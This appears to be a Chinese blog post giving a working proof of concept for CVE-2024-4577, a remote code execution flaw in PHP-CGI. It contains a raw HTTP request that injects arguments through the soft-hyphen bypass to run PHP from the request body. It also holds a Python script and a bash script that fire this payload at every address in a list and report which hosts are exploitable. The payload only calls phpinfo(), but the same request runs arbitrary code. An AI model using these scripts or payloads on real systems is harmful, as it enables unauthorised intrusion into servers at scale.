[CVE-2024-4577] php CGI RCE漏洞python POC

参考:https://www.ddosi.org/cve-2024-4577/
http包👇

POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 21
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 21
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

编写exp.py👇

'''
EXP 
of
PHP RCE CVE-2024-4577
'''
if __name__=='__main__':
    print('我开始啦')
import requests 
import re
import json
###############👇
path=r"D:\phpstudy_pro\WWW\UPLOAD\py\CVE-2024-4577\IP-list.txt" #地址列表文件位置
###############👆
#pattern = r'\{.*\}'
pattern = r"<h1 class=\"p\">PHP Version"
#初始化地址列表

def addstr(url):
    url_tail=r'/test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input'
    def add_http_header(url):
        if not url.startswith('http://'):
            url = 'http://' + url
        return url
    def delxiegang(url):
        if url.endswith('/'):
            url=url[:-1]
        return url
    def addxiegang(url):
        if not url.endswith('/'):
            url =url+'/'
        return url
    http_url= add_http_header(url)
    final_url=delxiegang(http_url)+url_tail
    return final_url

address_list=[]
#读取地址列表👇
with open(path,'r',encoding='utf-8') as file:
    for line in file:
        address_list.append(addstr(line.replace("\n", "")))

print(address_list)
def send_poc(url):
    url=url
    headers = {
        "User-Agent": "curl/8.3.0",
        "Accept": "*/*",
        "Content-Type": "application/x-www-form-urlencoded",
        "Connection": "keep-alive"
    }
    data = "<?php phpinfo(); ?>"
    try:
        response = requests.post(url, headers=headers, data=data)
        response.encoding='utf-8'
        response_text=response.text
        matches = re.findall(pattern, response_text)
        if matches:
            print("#利用成功!!!!!!!!!!!!!!!!!!!,url:", url)
        else:
            print("@未找到匹配项。", url)
    except:
        print("@发生了一个错误", url)
        pass
    
    #发送poc👆
    #print(response.text)

    #check php_info👇
for address_url in address_list:
    send_poc(address_url)

BASH脚本POC

我写完这个py脚本才发现github上已经有人写了bash脚本,思路差不多一样👇
https://github.com/11whoami99/CVE-2024-4577/blob/main/CVE-2024-4577.sh

#!/bin/bash

# Function to check vulnerability for a domain
check_vulnerability() {
    local domain=$1
    local response=$(curl -s -X POST "${domain}/test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" \
        -H "User-Agent: curl/8.3.0" \
        -H "Accept: */*" \
        -H "Content-Length: 23" \
        -H "Content-Type: application/x-www-form-urlencoded" \
        -H "Connection: keep-alive" \
        --data "<?php phpinfo(); ?>" \
        --max-time 10)

    if [[ $response == *"PHP Version"* ]]; then
        echo "$domain: Vulnerable"
    fi
}

# Main function to iterate over domains
main() {
    local file=$1
    while IFS= read -r domain || [ -n "$domain" ]; do
        check_vulnerability "$domain"
    done < "$file"
}

# Check if the file argument is provided
if [ "$#" -ne 1 ]; then
    echo "Usage: $0 <domain_list_file>"
    exit 1
fi

# Call the main function with the domain list file
main "$1"

正则和他的通配符匹配的字符串都一样,挺巧的.

posted @ 2024-06-09 01:09  sesmof  阅读(372)  评论(0编辑  收藏  举报